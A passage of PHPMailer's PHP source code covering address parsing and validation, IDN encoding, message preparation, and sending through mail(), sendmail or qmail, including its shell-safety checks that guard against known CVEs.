     * @var int
     */
    const MAIL_MAX_LINE_LENGTH = 63;

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1.
     *
     * @var int
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * The lower maximum line length allowed by RFC 2822 section 2.1.1.
     * This length does NOT include the line break
     * 76 means that lines will be 77 or 78 chars depending on whether
     * the line break format is LF or CRLF; both are valid.
     *
     * @var int
     */
    const STD_LINE_LENGTH = 76;

    /**
     * Constructor.
     *
     * @param bool $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if (null !== $exceptions) {
            $this->exceptions = (bool) $exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do).
     *
     * @param string      $to      To
     * @param string      $subject Subject
     * @param string      $body    Message Body
     * @param string      $header  Additional Header(s)
     * @param string|null $params  Params
     *
     * @return bool
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if ((int)ini_get('mbstring.func_overload') & 1) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }
        //Calling mail() with null params breaks
        $this->edebug('Sending with mail()');
        $this->edebug('Sendmail path: ' . ini_get('sendmail_path'));
        $this->edebug("Envelope sender: {$this->Sender}");
        $this->edebug("To: {$to}");
        $this->edebug("Subject: {$subject}");
        $this->edebug("Headers: {$header}");
        if (!$this->UseSendmailOptions || null === $params) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $this->edebug("Additional params: {$params}");
            $result = @mail($to, $subject, $body, $header, $params);
        }
        $this->edebug('Result: ' . ($result ? 'true' : 'false'));
        return $result;
    }

    /**
     * Output debugging info via a user-defined method.
     * Only generates output if debug output is enabled.
     *
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     *
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Is this a PSR-3 logger?
        if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
            $this->Debugoutput->debug(rtrim($str, "\r\n"));

            return;
        }
        //Avoid clash with built-in function names
        if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);

            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                /** @noinspection ForgottenDebugOutputInspection */
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                ), "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n|\r/m', "\n", $str);
                echo gmdate('Y-m-d H:i:s'),
                "\t",
                    //Trim trailing space
                trim(
                    //Indent for readability, except for trailing break
                    str_replace(
                        "\n",
                        "\n                   \t                  ",
                        trim($str)
                    )
                ),
                "\n";
        }
    }

    /**
     * Sets message type to HTML or plain.
     *
     * @param bool $isHtml True for HTML mode
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = static::CONTENT_TYPE_TEXT_HTML;
        } else {
            $this->ContentType = static::CONTENT_TYPE_PLAINTEXT;
        }
    }

    /**
     * Send messages using SMTP.
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (false === stripos($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (false === stripos($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     *
     * @param string $address The email address to send to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     *
     * @param string $address The email address to send to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     *
     * @param string $address The email address to send to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     *
     * @param string $address The email address to reply to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     *
     * @param string $kind    One of 'to', 'cc', 'bcc', or 'Reply-To'
     * @param string $address The email address
     * @param string $name    An optional username associated with the address
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $pos = false;
        if ($address !== null) {
            $address = trim($address);
            $pos = strrpos($address, '@');
        }
        if (false === $pos) {
            //At-sign is missing.
            $error_message = sprintf(
                '%s (%s): %s',
                $this->lang('invalid_address'),
                $kind,
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        if ($name !== null && is_string($name)) {
            $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        } else {
            $name = '';
        }
        $params = [$kind, $address, $name];
        //Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        //Domain is assumed to be whatever is after the last @ symbol in the address
        if (static::idnSupported() && $this->has8bitChars(substr($address, ++$pos))) {
            if ('Reply-To' !== $kind) {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;

                    return true;
                }
            } elseif (!array_key_exists($address, $this->ReplyToQueue)) {
                $this->ReplyToQueue[$address] = $params;

                return true;
            }

            return false;
        }

        //Immediately add standard addresses without IDN.
        return call_user_func_array([$this, 'addAnAddress'], $params);
    }

    /**
     * Set the boundaries to use for delimiting MIME parts.
     * If you override this, ensure you set all 3 boundaries to unique values.
     * The default boundaries include a "=_" sequence which cannot occur in quoted-printable bodies,
     * as suggested by https://www.rfc-editor.org/rfc/rfc2045#section-6.7
     *
     * @return void
     */
    public function setBoundaries()
    {
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1=_' . $this->uniqueid;
        $this->boundary[2] = 'b2=_' . $this->uniqueid;
        $this->boundary[3] = 'b3=_' . $this->uniqueid;
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     *
     * @param string $kind    One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) {
            $error_message = sprintf(
                '%s: %s',
                $this->lang('Invalid recipient kind'),
                $kind
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        if (!static::validateAddress($address)) {
            $error_message = sprintf(
                '%s (%s): %s',
                $this->lang('invalid_address'),
                $kind,
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        if ('Reply-To' !== $kind) {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                $this->{$kind}[] = [$address, $name];
                $this->all_recipients[strtolower($address)] = true;

                return true;
            }
        } elseif (!array_key_exists(strtolower($address), $this->ReplyTo)) {
            $this->ReplyTo[strtolower($address)] = [$address, $name];

            return true;
        }

        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     *
     * @see https://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     *
     * @param string $addrstr The address list string
     * @param bool   $useimap Whether to use the IMAP extension to parse the list
     * @param string $charset The charset to use when decoding the address list string.
     *
     * @return array
     */
    public static function parseAddresses($addrstr, $useimap = true, $charset = self::CHARSET_ISO88591)
    {
        $addresses = [];
        if ($useimap && function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            // Clear any potential IMAP errors to get rid of notices being thrown at end of script.
            imap_errors();
            foreach ($list as $address) {
                if (
                    '.SYNTAX-ERROR.' !== $address->host &&
                    static::validateAddress($address->mailbox . '@' . $address->host)
                ) {
                    //Decode the name part if it's present and encoded
                    if (
                        property_exists($address, 'personal') &&
                        //Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled
                        defined('MB_CASE_UPPER') &&
                        preg_match('/^=\?.*\?=$/s', $address->personal)
                    ) {
                        $origCharset = mb_internal_encoding();
                        mb_internal_encoding($charset);
                        //Undo any RFC2047-encoded spaces-as-underscores
                        $address->personal = str_replace('_', '=20', $address->personal);
                        //Decode the name
                        $address->personal = mb_decode_mimeheader($address->personal);
                        mb_internal_encoding($origCharset);
                    }

                    $addresses[] = [
                        'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                        'address' => $address->mailbox . '@' . $address->host,
                    ];
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if (static::validateAddress($address)) {
                        $addresses[] = [
                            'name' => '',
                            'address' => $address,
                        ];
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    $name = trim($name);
                    if (static::validateAddress($email)) {
                        //Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled
                        //If this name is encoded, decode it
                        if (defined('MB_CASE_UPPER') && preg_match('/^=\?.*\?=$/s', $name)) {
                            $origCharset = mb_internal_encoding();
                            mb_internal_encoding($charset);
                            //Undo any RFC2047-encoded spaces-as-underscores
                            $name = str_replace('_', '=20', $name);
                            //Decode the name
                            $name = mb_decode_mimeheader($name);
                            mb_internal_encoding($origCharset);
                        }
                        $addresses[] = [
                            //Remove any surrounding quotes and spaces from the name
                            'name' => trim($name, '\'" '),
                            'address' => $email,
                        ];
                    }
                }
            }
        }

        return $addresses;
    }

    /**
     * Set the From and FromName properties.
     *
     * @param string $address
     * @param string $name
     * @param bool   $auto    Whether to also set the Sender address, defaults to true
     *
     * @throws Exception
     *
     * @return bool
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim((string)$address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        //Don't validate now addresses with IDN. Will be done in send().
        $pos = strrpos($address, '@');
        if (
            (false === $pos)
            || ((!$this->has8bitChars(substr($address, ++$pos)) || !static::idnSupported())
            && !static::validateAddress($address))
        ) {
            $error_message = sprintf(
                '%s (From): %s',
                $this->lang('invalid_address'),
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto && empty($this->Sender)) {
            $this->Sender = $address;
        }

        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     *
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * Validation patterns supported:
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     *
     * ```php
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * ```
     *
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     *
     * @param string          $address       The email address to check
     * @param string|callable $patternselect Which pattern to use
     *
     * @return bool
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (null === $patternselect) {
            $patternselect = static::$validator;
        }
        //Don't allow strings as callables, see SECURITY.md and CVE-2021-3603
        if (is_callable($patternselect) && !is_string($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false || strpos($address, "\r") !== false) {
            return false;
        }
        switch ($patternselect) {
            case 'pcre': //Kept for BC
            case 'pcre8':
                /*
                 * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL
                 * is based.
                 * In addition to the addresses allowed by filter_var, also permits:
                 *  * dotless domains: `a@b`
                 *  * comments: `1234 @ local(blah) .machine .example`
                 *  * quoted elements: `'"test blah"@example.org'`
                 *  * numeric TLDs: `a@b.123`
                 *  * unbracketed IPv4 literals: `a@192.168.0.1`
                 *  * IPv6 literals: 'first.last@[IPv6:a1::]'
                 * Not all of these will necessarily work for sending!
                 *
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (bool) preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'html5':
                /*
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 *
                 * @see https://html.spec.whatwg.org/#e-mail-state-(type=email)
                 */
                return (bool) preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'php':
            default:
                return filter_var($address, FILTER_VALIDATE_EMAIL) !== false;
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * `intl` and `mbstring` PHP extensions.
     *
     * @return bool `true` if required functions for IDN support are present
     */
    public static function idnSupported()
    {
        return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain contains characters not allowed in an IDN).
     *
     * @see PHPMailer::$CharSet
     *
     * @param string $address The email address to convert
     *
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        //Verify we have required functions, CharSet, and at-sign.
        $pos = strrpos($address, '@');
        if (
            !empty($this->CharSet) &&
            false !== $pos &&
            static::idnSupported()
        ) {
            $domain = substr($address, ++$pos);
            //Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) && @mb_check_encoding($domain, $this->CharSet)) {
                //Convert the domain from whatever charset it's in to UTF-8
                $domain = mb_convert_encoding($domain, self::CHARSET_UTF8, $this->CharSet);
                //Ignore IDE complaints about this line - method signature changed in PHP 5.4
                $errorcode = 0;
                if (defined('INTL_IDNA_VARIANT_UTS46')) {
                    //Use the current punycode standard (appeared in PHP 7.2)
                    $punycode = idn_to_ascii(
                        $domain,
                        \IDNA_DEFAULT | \IDNA_USE_STD3_RULES | \IDNA_CHECK_BIDI |
                            \IDNA_CHECK_CONTEXTJ | \IDNA_NONTRANSITIONAL_TO_ASCII,
                        \INTL_IDNA_VARIANT_UTS46
                    );
                } elseif (defined('INTL_IDNA_VARIANT_2003')) {
                    //Fall back to this old, deprecated/removed encoding
                    // phpcs:ignore PHPCompatibility.Constants.RemovedConstants.intl_idna_variant_2003Deprecated
                    $punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_2003);
                } else {
                    //Fall back to a default we don't know about
                    // phpcs:ignore PHPCompatibility.ParameterValues.NewIDNVariantDefault.NotSet
                    $punycode = idn_to_ascii($domain, $errorcode);
                }
                if (false !== $punycode) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }

        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     *
     * @throws Exception
     *
     * @return bool false on error - See the ErrorInfo property for details of the error
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }

            return $this->postSend();
        } catch (Exception $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }
    }

    /**
     * Prepare a message for sending.
     *
     * @throws Exception
     *
     * @return bool
     */
    public function preSend()
    {
        if (
            'smtp' === $this->Mailer
            || ('mail' === $this->Mailer && (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0))
        ) {
            //SMTP mandates RFC-compliant line endings
            //and it's also used with mail() on Windows
            static::setLE(self::CRLF);
        } else {
            //Maintain backward compatibility with legacy Linux command line mailers
            static::setLE(PHP_EOL);
        }
        //Check for buggy PHP versions that add a header with an incorrect line break
        if (
            'mail' === $this->Mailer
            && ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017)
                || (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103))
            && ini_get('mail.add_x_header') === '1'
            && stripos(PHP_OS, 'WIN') === 0
        ) {
            trigger_error($this->lang('buggy_php'), E_USER_WARNING);
        }

        try {
            $this->error_count = 0; //Reset errors
            $this->mailHeader = '';

            //Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array([$this, 'addAnAddress'], $params);
            }
            if (count($this->to) + count($this->cc) + count($this->bcc) < 1) {
                throw new Exception($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            //Validate From, Sender, and ConfirmReadingTo addresses
            foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) {
                if ($this->{$address_kind} === null) {
                    $this->{$address_kind} = '';
                    continue;
                }
                $this->{$address_kind} = trim($this->{$address_kind});
                if (empty($this->{$address_kind})) {
                    continue;
                }
                $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind});
                if (!static::validateAddress($this->{$address_kind})) {
                    $error_message = sprintf(
                        '%s (%s): %s',
                        $this->lang('invalid_address'),
                        $address_kind,
                        $this->{$address_kind}
                    );
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new Exception($error_message);
                    }

                    return false;
                }
            }

            //Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE;
            }

            $this->setMessageType();
            //Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty && empty($this->Body)) {
                throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            //Trim subject consistently
            $this->Subject = trim($this->Subject);
            //Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            //createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            //To capture the complete message when using mail(), create
            //an extra header list which createHeader() doesn't fold in
            if ('mail' === $this->Mailer) {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader($this->Subject))
                );
            }

            //Sign with DKIM if enabled
            if (
                !empty($this->DKIM_domain)
                && !empty($this->DKIM_selector)
                && (!empty($this->DKIM_private_string)
                    || (!empty($this->DKIM_private)
                        && static::isPermittedPath($this->DKIM_private)
                        && file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE .
                    static::normalizeBreaks($header_dkim) . static::$LE;
            }

            return true;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }
    }

    /**
     * Actually send a message via the selected mechanism.
     *
     * @throws Exception
     *
     * @return bool
     */
    public function postSend()
    {
        try {
            //Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer . 'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->Mailer === 'smtp' && $this->SMTPKeepAlive == true && $this->smtp->connected()) {
                $this->smtp->reset();
            }
            if ($this->exceptions) {
                throw $exc;
            }
        }

        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     *
     * @see PHPMailer::$Sendmail
     *
     * @param string $header The message headers
     * @param string $body   The message body
     *
     * @throws Exception
     *
     * @return bool
     */
    protected function sendmailSend($header, $body)
    {
        if ($this->Mailer === 'qmail') {
            $this->edebug('Sending with qmail');
        } else {
            $this->edebug('Sending with sendmail');
        }
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        //A space after `-f` is optional, but there is a long history of its presence
        //causing problems, so we don't use one
        //Exim docs: https://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html
        //Sendmail docs: https://www.sendmail.org/~ca/email/man/sendmail.html
        //Example problem: https://www.drupal.org/node/1057954

        //PHP 5.6 workaround
        $sendmail_from_value = ini_get('sendmail_from');
        if (empty($this->Sender) && !empty($sendmail_from_value)) {
            //PHP config has a sender address we can use
            $this->Sender = ini_get('sendmail_from');
        }
        //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) {
            if ($this->Mailer === 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            //allow sendmail to choose a default envelope sender. It may
            //seem preferable to force it to use the From header as with
            //SMTP, but that introduces new problems (see
            //<https://github.com/PHPMailer/PHPMailer/issues/2298>), and
            //it has historically worked this way.
            $sendmailFmt = '%s -oi -t';
        }

        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
        $this->edebug('Sendmail path: ' . $this->Sendmail);
        $this->edebug('Sendmail command: ' . $sendmail);
        $this->edebug('Envelope sender: ' . $this->Sender);
        $this->edebug("Headers: {$header}");

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                $mail = @popen($sendmail, 'w');
                if (!$mail) {
                    throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                $this->edebug("To: {$toAddr}");
                fwrite($mail, 'To: ' . $toAddr . "\n");
                fwrite($mail, $header);
                fwrite($mail, $body);
                $result = pclose($mail);
                $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet);
                $this->doCallback(
                    ($result === 0),
                    [[$addrinfo['address'], $addrinfo['name']]],
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From,
                    []
                );
                $this->edebug("Result: " . ($result === 0 ? 'true' : 'false'));
                if (0 !== $result) {
                    throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            $mail = @popen($sendmail, 'w');
            if (!$mail) {
                throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fwrite($mail, $header);
            fwrite($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result === 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From,
                []
            );
            $this->edebug("Result: " . ($result === 0 ? 'true' : 'false'));
            if (0 !== $result) {
                throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }

        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     *
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     *
     * @param string $string The string to be validated
     *
     * @return bool
     */
    protected static function isShellSafe($string)
    {
        //It's not possible to use shell commands safely (which includes the mail() function) without escapeshellarg,
        //but some hosting providers disable it, creating a security problem that we don't want to have to deal with,
        //so we don't.
        if (!function_exists('escapeshellarg') || !function_exists('escapeshellcmd')) {
            return false;
        }

        if (
            escapeshellcmd($string) !== $string
            || !in_array(escapeshellarg($string), ["'$string'", "\"$string\""])
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; ++$i) {
            $c = $string[$i];

            //All other characters have a special meaning in at least one common shell, including = and +.
            //Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            //Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     *
     * @param string $path A relative or absolute path to a file
     *
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        //Matches scheme definition from https://www.rfc-editor.org/rfc/rfc3986#section-3.1
        return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path);
    }

    /**
     * Check whether a file path is safe, accessible, and readable.
     *
     * @param string $path A relative or absolute path to a file
     *
     * @return bool
     */
    protected static function fileIsAccessible($path)
    {
        if (!static::isPermittedPath($path)) {
            return false;
        }
        $readable = is_file($path);
        //If not a UNC path (expected to start with \\), check read permission, see #2069
        if (strpos($path, '\\\\') !== 0) {
            $readable = $readable && is_readable($path);
        }
        return  $readable;
    }

    /**
     * Send mail using the PHP mail() function.
     *
     * @see https://www.php.net/manual/en/book.mail.php
     *
     * @param string $header The message headers
     * @param string $body   The message body
     *
     * @throws Exception
     *
